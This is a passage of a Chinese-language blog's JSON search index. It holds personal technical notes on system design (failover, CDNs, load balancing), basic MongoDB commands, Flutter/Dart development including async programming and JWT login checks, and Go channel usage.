cookie。七层负载均衡器终结网络流量，读取消息，做出负载均衡判定，然后传送给特定服务器。比如，一个七层负载均衡器能直接将视频流量连接到托管视频的服务器，同时将更敏感的用户账单流量引导到安全性更强的服务器。\n以损失灵活性为代价，四层负载均衡比七层负载均衡花费更少时间和计算资源，虽然这对现代商用硬件的性能影响甚微。\n","permalink":"https://sirius2alpha.github.io/posts/notes/4-archive/%E6%B1%82%E8%81%8C%E5%BD%92%E6%A1%A3/system-design-prime/","summary":"system-design-prime 可用性模式 有两种支持高可用性的模式: 故障切换（fail-over）和复制（replication）。\n故障切换 工作到备用切换（Active-passive） 关于工作到备用的故障切换流程是，工作服务器发送周期信号给待机中的备用服务器。如果周期信号中断，备用服务器切换成工作服务器的 IP 地址并恢复服务。\n宕机时间取决于备用服务器处于“热”待机状态还是需要从“冷”待机状态进行启动。只有工作服务器处理流量。\n工作到备用的故障切换也被称为主从切换。\n双工作切换（Active-active） 在双工作切换中，双方都在管控流量，在它们之间分散负载。\n如果是外网服务器，DNS 将需要对两方都了解。如果是内网服务器，应用程序逻辑将需要对两方都了解。\n双工作切换也可以称为主主切换。\n缺陷：故障切换 故障切换需要添加额外硬件并增加复杂性。 如果新写入数据在能被复制到备用系统之前，工作系统出现了故障，则有可能会丢失数据。 复制 主─从复制和主─主复制 这个主题进一步探讨了数据库部分:\n主─从复制 主─主复制 CDN 内容分发网络 内容分发网络 CDN（英语：Content Delivery Network或Content Distribution Network）是一个全球性的代理服务器分布式网络，它从靠近用户的位置提供内容。通常，HTML/CSS/JS，图片和视频等静态内容由 CDN 提供，虽然亚马逊 CloudFront 等也支持动态内容。CDN 的 DNS 解析会告知客户端连接哪台服务器。\nCDN 的分类 Pull CDN 当用户第一次访问CDN的时候，CDN上是没有资源的，这时候CDN会去向服务器拉取资源。之后的访问就直接在CDN服务器中返回就可以。\npush CDN 服务器可以在用户访问资源之前，把资源push给CDN服务器。\n如何选择哪种CDN？ 关于使用哪种 CDN 类型的决定在很大程度上取决于流量和下载量。从长远来看，托管视频和播客（又名大量下载）的旅游博客会发现推送 CDN 更便宜、更高效，因为在您主动将其推送到 CDN 之前，CDN 不会重新下载内容。拉式 CDN 可以通过在 CDN 服务器上保留最受欢迎的内容来帮助高流量小下载的网站。内容的后续更新（或“拉取”）频率不足以使成本超过推送 CDN 的成本。\nLoadBlancer 负载均衡器 负载均衡器将传入的请求分发到应用服务器和数据库等计算资源。无论哪种情况，负载均衡器将从计算资源来的响应返回给恰当的客户端。负载均衡器的效用在于:\n防止请求进入不好的服务器 防止资源过载 帮助消除单一的故障点 通常会设置采用工作─备用 或 双工作 模式的多个负载均衡器，以免发生故障。","title":"system-design-prime"},{"content":"MongoDB安装 MongoDB官方的安装指南\nNavicat客户端使用 可以在navicat上连上本地的mongodb使用，直观简单\nEasy use (Terminal) 在终端中启动mongodb终端：\nmongosh 以下是一些 MongoDB 的简单常用命令，可以帮助你快速上手并管理 MongoDB 数据库：\n启动 MongoDB shell mongo 基本数据库操作 列出所有数据库 show dbs 切换到指定数据库（如果数据库不存在则创建新数据库） use mydatabase 显示当前数据库 db 删除当前数据库 db.dropDatabase() 集合操作 创建集合 db.createCollection(\u0026#39;mycollection\u0026#39;) 列出所有集合 show collections 删除集合 db.mycollection.drop() 文档操作 插入文档 db.mycollection.insertOne({name: \u0026#34;John\u0026#34;, age: 30}) db.mycollection.insertMany([{name: \u0026#34;Alice\u0026#34;, age: 25}, {name: \u0026#34;Bob\u0026#34;, age: 27}]) 查找文档 db.mycollection.find() db.mycollection.find({name: \u0026#34;John\u0026#34;}) 查找并格式化输出 db.mycollection.find().pretty() 更新文档 db.mycollection.updateOne({name: \u0026#34;John\u0026#34;}, {$set: {age: 31}}) db.mycollection.updateMany({name: \u0026#34;Alice\u0026#34;}, {$set: {age: 26}}) 替换文档 db.mycollection.replaceOne({name: \u0026#34;John\u0026#34;}, {name: \u0026#34;John\u0026#34;, age: 32, city: \u0026#34;New York\u0026#34;}) 删除文档 db.mycollection.deleteOne({name: \u0026#34;John\u0026#34;}) db.mycollection.deleteMany({age: {$lt: 30}}) 索引操作 创建索引 db.mycollection.createIndex({name: 1}) 查看索引 db.mycollection.getIndexes() 删除索引 db.mycollection.dropIndex({name: 1}) 这些命令可以帮助你在 MongoDB 中执行基本的数据库、集合和文档操作。更多高级操作和配置可以参考 MongoDB 官方文档。\n","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E6%8A%80%E6%9C%AF%E6%A0%88/%E6%95%B0%E6%8D%AE%E5%BA%93/use-mongodb/","summary":"MongoDB安装 MongoDB官方的安装指南\nNavicat客户端使用 可以在navicat上连上本地的mongodb使用，直观简单\nEasy use (Terminal) 在终端中启动mongodb终端：\nmongosh 以下是一些 MongoDB 的简单常用命令，可以帮助你快速上手并管理 MongoDB 数据库：\n启动 MongoDB shell mongo 基本数据库操作 列出所有数据库 show dbs 切换到指定数据库（如果数据库不存在则创建新数据库） use mydatabase 显示当前数据库 db 删除当前数据库 db.dropDatabase() 集合操作 创建集合 db.createCollection(\u0026#39;mycollection\u0026#39;) 列出所有集合 show collections 删除集合 db.mycollection.drop() 文档操作 插入文档 db.mycollection.insertOne({name: \u0026#34;John\u0026#34;, age: 30}) db.mycollection.insertMany([{name: \u0026#34;Alice\u0026#34;, age: 25}, {name: \u0026#34;Bob\u0026#34;, age: 27}]) 查找文档 db.mycollection.find() db.mycollection.find({name: \u0026#34;John\u0026#34;}) 查找并格式化输出 db.mycollection.find().pretty() 更新文档 db.mycollection.updateOne({name: \u0026#34;John\u0026#34;}, {$set: {age: 31}}) db.mycollection.updateMany({name: \u0026#34;Alice\u0026#34;}, {$set: {age: 26}}) 替换文档 db.mycollection.replaceOne({name: \u0026#34;John\u0026#34;}, {name: \u0026#34;John\u0026#34;, age: 32, city: \u0026#34;New York\u0026#34;}) 删除文档 db.","title":"MongoDB快速上手"},{"content":"关键字 late late关键字允许变量将在稍后初始化，但必须在使用之前初始化。\n这与 final 关键字不同，final 关键字用于声明必须在声明时或构造函数运行之前初始化的变量。\nlate 关键字的主要优点是可以提高性能，尤其是在构造函数中包含复杂初始化逻辑的类的情况下。通过使用 late 关键字，您可以推迟初始化，直到实际需要使用该变量时再进行初始化。这可以避免在构造函数中执行不必要的初始化工作，从而提高性能。\n以下是一些有关如何使用 late 关键字的示例：\nclass MyWidget extends StatefulWidget { @override _MyWidgetState createState() =\u0026gt; _MyWidgetState(); } class _MyWidgetState extends State\u0026lt;MyWidget\u0026gt; { late String _data; @override void initState() { super.initState(); // 此处推迟了 _data 变量的初始化 _loadData(); } void _loadData() async { // 模拟异步数据加载 await Future.delayed(Duration(seconds: 2)); setState(() { _data = \u0026#39;Data loaded\u0026#39;; }); } @override Widget build(BuildContext context) { if (_data == null) { return CircularProgressIndicator(); } return Text(_data); } } 在这个示例中，_data 变量使用 late 关键字声明。这意味着该变量不必在声明时或构造函数运行之前初始化。相反，它可以在稍后初始化，例如在 initState 方法中。这可以提高性能，因为只有在实际需要使用该变量时才会进行初始化。\n请注意，late 关键字只能用于非空类型。这意味着 late 变量不能为 null。如果您需要声明可能为 null 的变量，则可以使用 ? 可空性操作符：late String? _data;\nfinal 在 Dart 中，final 关键字用于定义一个只能被赋值一次的变量。它表示该变量的值在被第一次赋值后不可再更改。这对于创建常量或不希望被重新赋值的变量非常有用。\n使用 final 的场景 局部变量：你可以在函数内部使用 final 来定义局部变量。 类成员变量：你可以在类中使用 final 来定义成员变量。 局部变量：\nvoid main() { final name = \u0026#39;Alice\u0026#39;; // name = \u0026#39;Bob\u0026#39;; // 错误：name 已经被赋值，不能再次赋值 print(name); } 类成员变量：\nclass Person { final String name; final int age; Person(this.name, this.age); } void main() { final person = Person(\u0026#39;Alice\u0026#39;, 30); // person.name = \u0026#39;Bob\u0026#39;; // 错误：name 是 final 变量，不能修改 print(\u0026#39;${person.name}, ${person.age}\u0026#39;); } final 与 const 的区别 final：变量的值只能被赋值一次，但它的值在运行时确定。例如，final 可以用于构造函数参数。 const：变量的值在编译时确定，并且是编译时常量。const 用于定义编译时常量，而 final 只能确保在运行时赋值一次。 变量和函数前的_ 在 Dart 中，变量或函数名前的下划线（_）通常用于表示该成员是私有的。\n但是，重要的是要注意，Dart 中没有真正的私有成员。下划线只是约定，通常由程序员遵循来表明成员不应该从外部类或模块访问。\nasync和await async 关键字用于声明一个函数是异步的。异步函数返回一个 Future 对象，表示该函数将在未来某个时间点完成。\nawait 关键字用于等待一个异步操作完成，并获取其结果。await 只能在 async 函数内部使用。\nimport \u0026#39;dart:async\u0026#39;; Future\u0026lt;String\u0026gt; fetchUserData() async { // 模拟网络请求 await Future.delayed(Duration(seconds: 2)); return \u0026#39;User data\u0026#39;; } void main() async { print(\u0026#39;Starting...\u0026#39;); String userData = await fetchUserData(); print(\u0026#39;Fetched data: $userData\u0026#39;); print(\u0026#39;Finished.\u0026#39;); } try,catch,finally try { // 可能抛出异常的代码 } catch (e) { // 处理异常 } finally { // 无论是否发生异常都会执行的代码 } 异步编程 使用Future实现 Future 是 Dart 的一种核心概念，用于处理异步操作。当你有一个 Future，你不能立即得到它的结果，因为它可能还没有完成。你需要等待 Future 完成，或者注册一个回调函数，在 Future 完成时调用。\n和Future有关的方法 Future.value 返回一个future对象\nFuture\u0026lt;String\u0026gt; fetchData() { return Future.value(\u0026#39;Data from server\u0026#39;); } Future.then 等待future完成之后进行操作\nFuture.catchError 方法用于捕获和处理 Future 中的错误\nFuture\u0026lt;String\u0026gt; fetchData() { return Future.delayed(Duration(seconds: 2), () { return \u0026#39;Data from server\u0026#39;; }); } void main() { fetchData().then((data) { print(\u0026#39;Data received: $data\u0026#39;); }).catchError((error) { print(\u0026#39;Error: $error\u0026#39;); }); } Future.whenComplete whenComplete 方法用于在 Future 完成（无论成功还是失败）后执行回调函数。\nFuture\u0026lt;String\u0026gt; fetchData() { return Future.delayed(Duration(seconds: 2), () { return \u0026#39;Data from server\u0026#39;; }); } void main() { fetchData().then((data) { print(\u0026#39;Data received: $data\u0026#39;); }).catchError((error) { print(\u0026#39;Error: $error\u0026#39;); }).whenComplete(() { print(\u0026#39;Future completed\u0026#39;); }); } Future.wait Future.wait 方法用于等待多个 Future 全部完成，并返回它们的结果。\nFuture\u0026lt;String\u0026gt; fetchData1() { return Future.delayed(Duration(seconds: 2), () { return \u0026#39;Data 1 from server\u0026#39;; }); } Future\u0026lt;String\u0026gt; fetchData2() { return Future.delayed(Duration(seconds: 3), () { return \u0026#39;Data 2 from server\u0026#39;; }); } void main() { Future.wait([fetchData1(), fetchData2()]).then((List\u0026lt;String\u0026gt; results) { print(\u0026#39;Data received: ${results[0]}, ${results[1]}\u0026#39;); }).catchError((error) { print(\u0026#39;Error: $error\u0026#39;); }); } Future.forEach Future.forEach 方法用于对集合中的每个元素执行异步操作。\nFuture\u0026lt;void\u0026gt; processItems(List\u0026lt;int\u0026gt; items) { return Future.forEach(items, (int item) async { await Future.delayed(Duration(seconds: 1)); print(\u0026#39;Processed item: $item\u0026#39;); }); } void main() { processItems([1, 2, 3]).then((_) { print(\u0026#39;All items processed\u0026#39;); }).catchError((error) { print(\u0026#39;Error: $error\u0026#39;); }); } Future实现异步编程的原理 Future 是 Dart 语言中用于处理异步操作的核心机制。它的实现原理基于事件循环（Event Loop）和消息队列（Message Queue）。以下是 Future 实现异步的基本原理：\n事件循环（Event Loop） Dart 是单线程语言，但它通过事件循环机制实现了异步编程。事件循环是一个无限循环，负责处理事件和消息。\n事件循环的启动：当 Dart 程序启动时，事件循环开始运行。 消息队列：事件循环从消息队列中取出消息并处理。消息队列中包含各种事件，如用户输入、网络请求、定时器等。 Future 的工作原理 创建 Future：当你创建一个 Future 时，实际上是将一个任务（回调函数）添加到消息队列中。\nFuture\u0026lt;String\u0026gt; fetchData() { return Future.delayed(Duration(seconds: 2), () { return \u0026#39;Data from server\u0026#39;; }); } 在这个例子中，Future.delayed 创建了一个 Future，并在2秒后将回调函数添加到消息队列中。\n事件循环处理：事件循环在处理完当前任务后，会从消息队列中取出下一个任务并执行。\n回调函数执行：当事件循环处理到 Future 的回调函数时，回调函数会被执行。如果回调函数返回一个值，这个值会被包装成一个 Future 对象。\n完成 Future：回调函数执行完毕后，Future 被标记为完成，并触发 then 方法中的回调函数。\nfetchData().then((data) { print(\u0026#39;Data received: $data\u0026#39;); }); 在这个例子中，then 方法注册的回调函数会在 Future 完成后被调用。\n异步操作的非阻塞特性 由于事件循环和消息队列的存在，Dart 的异步操作不会阻塞主线程。当一个异步操作（如网络请求）开始时，事件循环可以继续处理其他任务，而不是等待异步操作完成。这使得 Dart 程序能够保持响应性。\n总结 Future 实现异步的原理基于事件循环和消息队列。通过将任务添加到消息队列中，事件循环可以在处理完当前任务后，继续处理其他任务，从而实现非阻塞的异步操作。这种机制使得 Dart 程序能够高效地处理异步任务，保持响应性。\n下面这一段来源于博客：作者：GitLqr 链接：https://juejin.cn/post/6949898044628271140 来源：稀土掘金 著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。\n事件循环机制 对于用户点击, 滑动, 硬盘 IO 访问等事件, 你不知道何时发生或以什么顺序发生, 所以得有一个永不停歇且不能阻塞的循环来等待处理这些 \u0026ldquo;突发\u0026rdquo; 事件. 于是, 基于 事件循环机制 的 单线程模型 就出现了:\nDart 事件循环机制由 一个消息循环(Event Looper) 和 两个消息队列(Event Queue) 构成, 这两个消息队列分别是: 事件队列(Event queue) 和 微任务队列(MicroTask queue).\nEvent Looper Dart 在执行完 main 函数后, Event Looper 就开始工作, Event Looper 优先全部执行完 Microtask Queue 中的 event, 直到 Microtask Queue 为空时, 才会执行 Event Looper 中的 event, Event Looper 为空时才可以退出循环.\n注意: Event Looper 为空时, 是 可以 而不是 一定 要退出, 视场景而定.\nEvent Queue Event Queue` 的 event 来源于 `外部事件` 和 `Future 外部事件: 例如输入/输出, 手势, 绘制, 计时器, Stream 等 Future: 用于自定义 Event Queue 事件 对于外部事件, 一旦没有任何 microtask 要执行, Event loop才会考虑 event queue中的第一项，并且将会执行它.\n通过 Future 实例向 Event Queue 添加事件:\nFuture(() { // 事件任务 }); Microtask Queue Microtask Queue 的优先级高于 Event Queue. 使用场景: 想要在稍后完成一些任务(microtask) 但又希望在执行下一个事件(event)之前执行. Microtask 一般用于非常短的内部异步动作, 并且任务量非常少, 如果微任务非常多, 就会造成 Event Queue 排不上队, 会阻塞 Event Queue 的执行(如: 用户点击没有反应). 所以, 大多数情况下优先考虑使用 Event Queue, 整个 Flutter 源代码仅引用 scheduleMicroTask() 方法 7 次.\n通过 scheduleMicroTask() 函数向 Microtask Queue 添加任务:\nscheduleMicrotask(() { // 微任务 }); 使用Stream实现 Stream 是 Dart 中用于处理一系列异步数据的对象。它可以用于处理连续的数据流，如用户输入、文件读取、网络数据等。\n创建 Stream 你可以使用 StreamController 来创建和管理一个 Stream。\nimport \u0026#39;dart:async\u0026#39;; void main() { // 创建一个 StreamController final controller = StreamController\u0026lt;int\u0026gt;(); // 获取 Stream final stream = controller.stream; // 监听 Stream stream.listen((data) { print(\u0026#39;Received data: $data\u0026#39;); }); // 向 Stream 添加数据 controller.add(1); controller.add(2); controller.add(3); // 关闭 StreamController controller.close(); } 使用 Stream 生成器 你也可以使用 async* 和 yield 关键字来创建一个 Stream。\nimport \u0026#39;dart:async\u0026#39;; Stream\u0026lt;int\u0026gt; countStream(int to) async* { for (int i = 1; i \u0026lt;= to; i++) { await Future.delayed(Duration(seconds: 1)); // 模拟延迟 yield i; } } void main() { countStream(5).listen((data) { print(\u0026#39;Received data: $data\u0026#39;); }); } Stream 的实现原理 Stream 的实现原理基于事件循环（Event Loop）和消息队列（Message Queue）。当你创建一个 Stream 并添加数据时，这些数据会被放入一个内部队列中。当有监听器（listener）监听这个 Stream 时，事件循环会从队列中取出数据并传递给监听器。\n使用Isolate实现 Isolate 是 Dart 的并发模型，用于在单独的线程中执行耗时任务，避免阻塞主线程。每个 Isolate 都有自己的内存和事件循环。\n创建和使用 Isolate 你可以使用 Isolate.spawn 方法来创建一个新的 Isolate，并使用 SendPort 和 ReceivePort 来进行通信。\nimport \u0026#39;dart:isolate\u0026#39;; void isolateFunction(SendPort sendPort) { int result = 0; for (int i = 0; i \u0026lt; 1000000000; i++) { result += i; } sendPort.send(result); } void main() async { // 创建一个 ReceivePort 来接收消息 ReceivePort receivePort = ReceivePort(); // 创建一个新的 Isolate Isolate.spawn(isolateFunction, receivePort.sendPort); // 监听 ReceivePort receivePort.listen((message) { print(\u0026#39;Result from isolate: $message\u0026#39;); }); } Isolate 的实现原理 Isolate 的实现原理基于 Dart 的并发模型。每个 Isolate 都有自己的内存空间和事件循环，它们之间通过消息传递进行通信。当你创建一个新的 Isolate 时，Dart 会在一个新的线程中运行这个 Isolate，并在主线程和子线程之间建立一个消息通道（SendPort 和 ReceivePort）。通过这个消息通道，你可以安全地在不同的 Isolate 之间传递数据。\n总结 Future：适用于处理单个异步操作，基于事件循环和消息队列。 Stream：适用于处理连续的异步数据流，基于事件循环和消息队列。 Isolate：适用于处理耗时任务，基于 Dart 的并发模型和消息传递。 渲染机制 https://juejin.cn/post/6973818961724964901\n三棵树：widget, element, RenderObjects树\nWidget：Widget是Flutter的核心部分，是用户界面的不可变描述。做Flutter开发接触最多的就是Widget，可以说Widget撑起了Flutter的半边天； Element：Element是实例化的 Widget 对象，通过 Widget 的 createElement() 方法，是在特定位置使用 Widget配置数据生成； RenderObject：用于应用界面的布局和绘制，保存了元素的大小，布局等信息； https://www.geekailab.com/2021/01/10/Flutter-three-tree/\n组件 StatefulWidget和StatelessWidget 在 Flutter 中，StatefulWidget 和 StatelessWidget 是两种基本的小部件类型，用于构建用户界面。它们的主要区别在于它们如何管理状态。\n无状态小部件StatefulWidget 无状态小部件没有内部状态。这意味着它们的输出完全由它们的输入和构建时提供的属性决定。无状态小部件在整个生命周期中保持不变，不会因用户交互或其他外部因素而重新渲染。\n创建无状态小部件类的最简单方法是继承 StatelessWidget 类并重写 build 方法。build 方法必须返回一个 Widget，该小部件将呈现到屏幕上。\nclass MyStatelessWidget extends StatelessWidget { @override Widget build(BuildContext context) { return Text(\u0026#39;Hello, World!\u0026#39;); } } 有状态小部件StatelessWidget 有状态小部件包含内部状态，可能会随着时间的推移而改变。此状态用于控制小部件的输出。有状态小部件会在其状态发生变化时重新渲染。\n要创建状态有状态小部件类，您需要继承 StatefulWidget 类并创建一个 State 类。State 类包含小部件的状态并提供以下方法：\ninitState：此方法将在小部件首次创建时调用。您可以使用它来初始化小部件的状态。 didChangeDependencies：此方法将在小部件的依赖项更改时调用。您可以使用它来响应其他小部件的状态变化。 build：此方法与无状态小部件的 build 方法相同。它用于构建小部件将呈现到屏幕上的内容。 setState：此方法用于更新小部件的状态。这将导致小部件重新渲染。 class MyStatefulWidget extends StatefulWidget { @override _MyStatefulWidgetState createState() =\u0026gt; _MyStatefulWidgetState(); } class _MyStatefulWidgetState extends State\u0026lt;MyStatefulWidget\u0026gt; { int _counter = 0; @override void initState() { super.initState(); } @override Widget build(BuildContext context) { return Text(\u0026#39;Counter: $_counter\u0026#39;); } void incrementCounter() { setState(() { _counter++; }); } } 创建继承它们的类的方法有什么不同？ 创建继承 StatelessWidget 和 StatefulWidget 的类的方法的主要区别在于：\n无状态小部件 只需要重写 build 方法。 有状态小部件 需要创建一个 State 类并重写 initState、didChangeDependencies、build 和 setState 方法。 此外，有状态小部件通常需要使用 setState 方法来更新其状态。这会导致小部件重新渲染，并反映状态的变化。\n何时使用无状态小部件？ 小部件没有内部状态。 小部件的输出完全由其输入和属性决定。 小部件不需要响应用户交互或其他外部因素。 示例\n以下是一个无状态小部件的示例，它显示一个文本小部件，其中包含“Hello, World!”：\nclass MyStatelessWidget extends StatelessWidget { @override Widget build(BuildContext context) { return Text(\u0026#39;Hello, World!\u0026#39;); } } 以下是一个有状态小部件的示例，它显示一个计数器小部件，用户可以点击它来增加计数：\nclass MyStatefulWidget extends StatefulWidget { @override _MyStatefulWidgetState createState() =\u0026gt; _MyStatefulWidgetState(); } class _MyStatefulWidgetState extends State\u0026lt;MyStatefulWidget\u0026gt; { int _counter = 0; @override Widget build(BuildContext context) { return Text(\u0026#39;Counter: $_counter\u0026#39;); } void incrementCounter() { setState(() { _counter++; }); } } AppBar设计 关于appbar的参数：https://juejin.cn/post/7143181602124726308\n想要做成小红书这种，左边目录，中间“关注/推荐”，右边搜索，就直接在appbar的title参数里面加入“关注/推荐”\n@override Widget build(BuildContext context) { return AppBar( elevation: 0, backgroundColor: Colors.white, leading: IconButton( icon: const Icon(Icons.menu, color: Colors.blue), onPressed: () { // Scaffold.of(context).openDrawer(); }, ), title: Row( children: [ const SizedBox(width: 25), Expanded( child: TabBar( controller: _tabController, tabs: widget.tabs.map((tab) =\u0026gt; Tab(text: tab)).toList(), labelColor: Colors.blue, unselectedLabelColor: Colors.grey, indicatorSize: TabBarIndicatorSize.label, indicatorWeight: 3, ), ), const SizedBox(width: 25), ], ), actions: widget.showSearch ? [ IconButton( icon: const Icon(Icons.search, color: Colors.blue), onPressed: () { // 跳转到搜索页面 }, ) ] : [], ); } Expanded：占据剩余空间 这里有一篇文章有两个对比用不用expanded：https://stackoverflow.com/questions/68539642/how-expanded-widget-works-in-flutter\n个人感受就是组件expaned的高度是根据父组件的高度自适应分配，弹性布局的意思。\nLayoutBuilder：获取一个组件的宽度 要获取最外层容器的宽度，你需要确保容器在布局过程中已经完成测量。在 Flutter 中，你可以使用 LayoutBuilder 小部件来获取布局约束，其中包含了容器的最大宽度。\n下面是一个示例，展示了如何使用 LayoutBuilder 来获取 Container 的宽度：\nContainer( child: LayoutBuilder( builder: (BuildContext context, BoxConstraints constraints) { // 获取Container的最大宽度 double containerWidth = constraints.maxWidth; // 使用containerWidth进行后续操作 // ... return ElevatedButton( // ... 其他按钮属性 child: Stack( children: [ if (_selectedOption != -1) Positioned( left: 0, top: 0, child: Container( height: 20, width: containerWidth * votePercentage[i], // 使用containerWidth来设置宽度 decoration: BoxDecoration( color: _selectedOption == i ? colorPercents[i + 1] : colorPercents[0], borderRadius: BorderRadius.circular(10), ), ), ), Align( alignment: Alignment.center, child: Text(text[i]), ), ], ), ); }, ), ); 在这个例子中，LayoutBuilder 会为其子级提供一个回调函数，该函数会在布局过程完成后被调用。BoxConstraints 参数包含了子级在布局过程中的约束信息，其中 maxWidth 属性就是容器的最大宽度。\n请注意，LayoutBuilder 本身并不直接参与布局，它只是提供了一个回调函数来获取布局约束。如果你需要在布局过程中动态设置容器的宽度，你可能需要使用 LayoutBuilder 来获取约束，然后根据这些约束来设置容器的宽度。\n确保 LayoutBuilder 小部件是 Container 的直接子级，这样它才能正确地获取到 Container 的布局约束。如果 Container 是其他小部件的子级，你可能需要调整你的小部件树结构以确保 LayoutBuilder 可以正确地获取到 Container 的宽度。\n在外层调用openDrawer() 在Flutter中，Scaffold.of(context).openDrawer() 方法是如何工作的呢？当你调用 Scaffold.of(context).openDrawer() 时，Flutter实际上是在当前的 BuildContext 中查找最近的 Scaffold 组件，并调用它的 openDrawer() 方法。\nBuildContext 是一个非常重要的概念，它代表了在widget树中的位置和层次结构。当你调用 Scaffold.of(context) 时，Flutter会从当前的widget开始向上遍历widget树，直到找到最近的 Scaffold 组件。\n在你的代码中，当你点击 AppBar 中的菜单按钮时，onPressed 回调函数是在 DynamicTopBar 内部定义的。但是，Scaffold.of(context).openDrawer() 方法是在 AppBar 内部调用的，它是在 DynamicTopBar 内部定义的 AppBar 小部件中调用的。\nScaffold.of(context) 方法会沿着widget树向上查找最近的 Scaffold 组件，并返回它。在这个例子中，由于 AppBar 是 Scaffold 的子部件，Scaffold.of(context) 会找到 Scaffold 并调用它的 openDrawer() 方法。\n所以，Scaffold.of(context).openDrawer() 是如何工作的，是因为它在widget树中向上查找最近的 Scaffold 组件，并调用它的 openDrawer() 方法。\nTabController：顶部栏内容滑动更新 通过tabController实现，可以传递这个参数进一个子组件实现控制。\nimport \u0026#39;package:flutter/material.dart\u0026#39;; class DynamicTopBar extends StatelessWidget implements PreferredSizeWidget { final List\u0026lt;String\u0026gt; tabs; final bool showSearch; final TabController tabController; // 接受外部提供的TabController const DynamicTopBar({ Key? key, required this.tabs, this.showSearch = true, required this.tabController, }) : super(key: key); @override Size get preferredSize =\u0026gt; const Size.fromHeight(kToolbarHeight); @override Widget build(BuildContext context) { return AppBar( elevation: 0, backgroundColor: Colors.white, leading: IconButton( icon: Icon(Icons.menu, color: Colors.blue[700]), onPressed: () { Scaffold.of(context).openDrawer(); }, ), title: Row( children: [ const SizedBox(width: 25), Expanded( child: TabBar( controller: tabController, // 使用传入的TabController tabs: tabs.map((tab) =\u0026gt; Tab(text: tab)).toList(), labelColor: Colors.blue[700], labelStyle: const TextStyle( fontSize: 20, fontFamily: \u0026#39;SimHei\u0026#39;, fontWeight: FontWeight.bold, ), unselectedLabelColor: Colors.grey[400], indicatorSize: TabBarIndicatorSize.label, indicatorWeight: 3, indicatorColor: Colors.blue[700], ), ), const SizedBox(width: 25), ], ), actions: showSearch ? [ IconButton( icon: Icon(Icons.search, color: Colors.blue[700]), onPressed: () { // 跳转到搜索页面 }, ) ] : [], ); } } 页面逻辑 前端如何判断用户是否登录 在Flutter中，常见的存储和管理JWT的方法包括使用shared_preferences插件来在本地存储和检索JWT，并在需要时进行验证。以下是详细的步骤和示例代码：\n1. 添加依赖 首先，需要在pubspec.yaml文件中添加shared_preferences依赖：\ndependencies: flutter: sdk: flutter shared_preferences: ^2.0.9 2. 存储JWT 当用户登录成功后，可以将后端返回的JWT存储在本地存储中：\nimport \u0026#39;package:shared_preferences/shared_preferences.dart\u0026#39;; Future\u0026lt;void\u0026gt; saveToken(String token) async { final prefs = await SharedPreferences.getInstance(); await prefs.setString(\u0026#39;authToken\u0026#39;, token); } 3. 检查用户是否登录 在“我的”界面中，可以通过检查本地存储中的JWT来判断用户是否已经登录：\nimport \u0026#39;package:flutter/material.dart\u0026#39;; import \u0026#39;package:shared_preferences/shared_preferences.dart\u0026#39;; class MyPage extends StatefulWidget { @override _MyPageState createState() =\u0026gt; _MyPageState(); } class _MyPageState extends State\u0026lt;MyPage\u0026gt; { bool isLoggedIn = false; @override void initState() { super.initState(); checkLoginStatus(); } Future\u0026lt;void\u0026gt; checkLoginStatus() async { final prefs = await SharedPreferences.getInstance(); final token = prefs.getString(\u0026#39;authToken\u0026#39;); if (token != null) { // 这里可以进一步验证token的有效性 setState(() { isLoggedIn = true; }); } else { setState(() { isLoggedIn = false; }); } } @override Widget build(BuildContext context) { return Scaffold( appBar: AppBar( title: Text(\u0026#39;我的页面\u0026#39;), ), body: Center( child: isLoggedIn ? LoggedInWidget() : LoggedOutWidget(), ), ); } } class LoggedInWidget extends StatelessWidget { @override Widget build(BuildContext context) { return Text(\u0026#39;欢迎回来，用户已登录\u0026#39;); } } class LoggedOutWidget extends StatelessWidget { @override Widget build(BuildContext context) { return Text(\u0026#39;请登录\u0026#39;); } } 4. 清除JWT（用户登出） 当用户登出时，可以清除本地存储中的JWT：\nFuture\u0026lt;void\u0026gt; logout() async { final prefs = await SharedPreferences.getInstance(); await prefs.remove(\u0026#39;authToken\u0026#39;); } 通过以上步骤，您可以在Flutter应用中存储JWT并在需要时检查用户的登录状态。这样，无论是安卓还是iOS，您都可以确保用户的登录状态得到正确的管理和验证。\n","permalink":"https://sirius2alpha.github.io/posts/notes/4-archive/%E9%A1%B9%E7%9B%AE%E5%BD%92%E6%A1%A3/aorb/dev-aorb-flutter/","summary":"关键字 late late关键字允许变量将在稍后初始化，但必须在使用之前初始化。\n这与 final 关键字不同，final 关键字用于声明必须在声明时或构造函数运行之前初始化的变量。\nlate 关键字的主要优点是可以提高性能，尤其是在构造函数中包含复杂初始化逻辑的类的情况下。通过使用 late 关键字，您可以推迟初始化，直到实际需要使用该变量时再进行初始化。这可以避免在构造函数中执行不必要的初始化工作，从而提高性能。\n以下是一些有关如何使用 late 关键字的示例：\nclass MyWidget extends StatefulWidget { @override _MyWidgetState createState() =\u0026gt; _MyWidgetState(); } class _MyWidgetState extends State\u0026lt;MyWidget\u0026gt; { late String _data; @override void initState() { super.initState(); // 此处推迟了 _data 变量的初始化 _loadData(); } void _loadData() async { // 模拟异步数据加载 await Future.delayed(Duration(seconds: 2)); setState(() { _data = \u0026#39;Data loaded\u0026#39;; }); } @override Widget build(BuildContext context) { if (_data == null) { return CircularProgressIndicator(); } return Text(_data); } } 在这个示例中，_data 变量使用 late 关键字声明。这意味着该变量不必在声明时或构造函数运行之前初始化。相反，它可以在稍后初始化，例如在 initState 方法中。这可以提高性能，因为只有在实际需要使用该变量时才会进行初始化。","title":"Flutter开发"},{"content":"channel的简单使用 在Go语言中，通道（channel）是一种用于在goroutine之间进行通信和同步的机制。下面是一些简单的通道使用示例，以及它们对应的底层函数调用。\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;time\u0026#34; ) func main() { ch := make(chan int) // 创建通道 go func() { ch \u0026lt;- 42 // 发送数据到通道 }() go func() { value := \u0026lt;-ch // 从通道接收数据 fmt.Println(\u0026#34;Received:\u0026#34;, value) }() time.Sleep(1 * time.Second) // 等待goroutine完成 close(ch) // 关闭通道 } 底层函数调用 创建通道：\nch := make(chan int) 底层调用：\nmakechan(elemtype, size) 发送数据到通道：\nch \u0026lt;- 42 底层调用：\nchansend(c *hchan, ep unsafe.Pointer, block bool, callerpc uintptr) bool 从通道接收数据：\nvalue := \u0026lt;- ch 底层调用：\nchanrecv(c *hchan, ep unsafe.Pointer, block bool) (selected, received bool) 关闭通道：\nclose(ch) 底层调用：\nclosechan(c *hchan) 